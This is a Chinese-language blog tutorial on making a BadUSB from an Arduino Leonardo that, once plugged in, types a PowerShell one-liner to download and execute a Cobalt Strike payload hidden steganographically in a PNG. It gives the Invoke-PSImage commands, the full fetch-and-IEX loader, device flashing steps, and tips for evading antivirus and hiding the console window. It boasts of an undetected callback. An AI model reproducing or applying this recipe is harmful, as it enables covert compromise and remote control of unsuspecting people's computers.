Badusb制作及CS免杀上线
Badusb介绍
背景
在2014年美国黑帽大会上,安全研究人员JakobLell和独立安全研究人员Karsten Nohl
展示了他们称为BadUSB
的攻击方法,这种攻击方法让USB安全和几乎所有和USB相关的设备(包括具有USB端口的电脑)都陷入相当危险的状态。
原理(HID攻击)
HID是Human Interface Device
的缩写,由其名称可以了解HID设备是直接与人交互的设备,例如键盘、鼠标与游戏杆等。不过HID设备并不一定要有人机接口,只要符合HID类别规范的设备都是HID设备。一般来讲针对HID的攻击主要集中在键盘鼠标上,因为只要控制了用户键盘,基本上就等于控制了用户的电脑。攻击者会把攻击隐藏在一个正常的鼠标键盘中,当用户将含有攻击向量的鼠标或键盘,插入电脑时,恶意代码会被加载并执行。
优势
- BadUSB是利用了USB协议上的漏洞,通过更改USB的内部固件,在正常的USB接口接入后,模拟外置鼠标、键盘的功能,以此来使目标主机执行已经精心构造好的命令。而且因为是在固件级别的应用,U盘格式化根本无法阻止其内部代码的执行。
- 同样因为是对USB的利用,Windows、Linux、MAC等各类操作系统不必联网下载专用的驱动程序。此外,向BadUSB烧录的程序极为简单,大部分是对键盘按键进行模拟,上手较为容易。
- BadUSB也是社会工程学的一个典型示例,它极大地利用了人们的好奇心,在路边捡到的USB,估计九成以上的人们都想看看里面有什么东西,而当你插入U盘,攻击就很难再停止下来了。
种类
能够制作BadUSB的几种常见载体有:leonardo_Arduino
、Phison
、Teensy
、Attiny85
、PS2303(芯片)
、Rubber_Ducky
等,从外观形状和制作成功率来看,使用leonardo_Arduino
制作BadUSB的效果最好,使用起来也较为方便。
实现效果
Badusb插入后,会模拟键盘鼠标对电脑进行操作,通过这些操作打开电脑的命令终端,并执行一条命令,这条命令将从指定网址下载其他代码并于后台静默运行。这些代码功能包括:窃取信息
、反弹shell
、发送邮件
等,从而实现控制目标机或者窃取信息的目的。
推荐一个仓库:https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads
这里有很多各种姿势的payload。(展示其中一部分)
制作免杀图片马
免杀的姿势有很多,看到这个挺有意思的,这次演示就用这种方式吧。
工具介绍
用到的工具 Invoke-PSImage
以 PNG 文件的像素对 PowerShell 脚本进行编码并生成要执行的 oneliner
Invoke-PSImage 采用 PowerShell 脚本并将脚本的字节编码为 PNG 图像的像素。它生成一个单行器,用于从网络文件或文件执行。
它可以仅使用有效负载数据创建新图像,也可以将有效负载嵌入现有图像的最低有效字节中,使其看起来像实际图片。图像保存为 PNG,并且可以无损压缩而不会影响执行有效负载的能力,因为数据存储在颜色本身中。在创建新图像时,普通的 PowerShell 脚本实际上会被显着压缩,通常会生成一个文件大小约为原始脚本 50% 的 png。
使用嵌入方法,每个像素中 2 个颜色值的最低有效 4 位用于保存有效载荷。结果图像质量会受到影响,但看起来仍然不错。它可以接受大多数图像类型作为输入,但输出将始终是 PNG,因为它需要是无损的。图像的每个像素都用于保存一个字节的脚本,因此您需要一个像素至少与脚本中字节数一样多的图像。这相当容易——例如,Invoke-Mimikatz 适合 1920x1200 图像。
制作免杀马
使用CS生成payload
把生成的payload.ps1
放到免杀工具文件夹。
生成免杀图片马
找一张图片,分别率最好在1920*1080
及以上,方便能存下我们的payload。
在免杀工具所在文件夹,按住shift
+ 鼠标右键
选择 在此处打开powershell窗口
。
将准备好的图片也放到此文件夹,然后开始按照以下命令制作。
官方示例:
使用嵌入的脚本“Invoke-Mimikatz.ps1”创建一个图像并输出一个payload以从 Web 执行:
PS>Import-Module .\Invoke-PSImage.ps1
PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Out .\evil-kiwi.png -Image .\kiwi.jpg -WebClient
… 提醒一句,制作之前先把杀毒软件关掉,要不然就会这样…
根据自己的文件名修改后的命令为:
Import-Module .\Invoke-PSImage.ps1 |
其中payload.ps1
是刚才用CS生成的payload,out.png
是生成的图片马,pic.png
是实现准备好的图片。
执行命令后,会得到一段payload。
sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead('http://example.com/out.png'));$o=a Byte[] 3840;(0..1)|%{foreach($x in(0..1919)){$p=$g.GetPixel($x,$_);$o[$_*1920+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3534])) |
这段payload在powershell运行,就会执行隐写到图片里的CS马的payload。
其中的http://example.com/out.png
是需要我们换成自己的图片的链接。
比如把图片放到图床,或者自己服务器之类的,我这里是放到自己服务器了。
注意不要使用https访问,不然可能会导致powershell执行失败。
杀毒测试
制作Badusb
购买Badusb
TB就有,注意有的上面带的有logo,尽量选择不带logo的吧,我买的时候价格是60-70。
下载Arduino IDE
Arduino介绍:Arduino是一款便捷灵活、方便上手的开源电子原型平台。 它构建于开放原始码simple I/O介面版,并且具有使用类似Java、C语言的Processing/Wiring开发环境。主要包含两个主要的部分:硬件部分是可以用来做电路连接的Arduino电路板;另外一个则是Arduino IDE,你的计算机中的程序开发环境。你只要在IDE中编写程序代码,将程序上传到Arduino电路板后,程序便会告诉Arduino电路板要做些什么了。
下载链接:https://www.arduino.cc/en/software
将Badusb连接到IDE
插入Badusb
打开Arduino IDE
选择 工具->开发板->Arduino Leonardo
选择 工具->端口->COM*(Arduino Leonardo)
此时右下角就已经选中到了你选择的
COM*
烧录代码进Badusb
复制以下代码 (可以根据自己的需求修改,常用arduino函数和按键代码附在文章末尾)
其中
Keyboard.println(*******)
里面的内容换成自己的payload,并且建议将整段payload进行大小写互换,以防止在Badusb运行期间因为大小写而导致运行失败。大小写互换可以用 Notepad++ 来实现。
|
将代码复制到IDE,然后点击√
来检查是否有语法错误。
编译完成后,点击√
旁边的 ->
来把代码烧录进Badusb。
烧录结束后,会自动执行一下Badusb里的代码。
常用arduino代码和按键
delay(5000);//延时毫秒 |
效果测试
在360和火绒都为最新病毒库下,仍免杀上线!
美中不足的是最后会留下一个小黑框,如图所示。
但可以通过执行一些键盘命令来最小化或者隐藏,现在的代码执行完毕后会执行Windows
+M
键来隐藏窗口。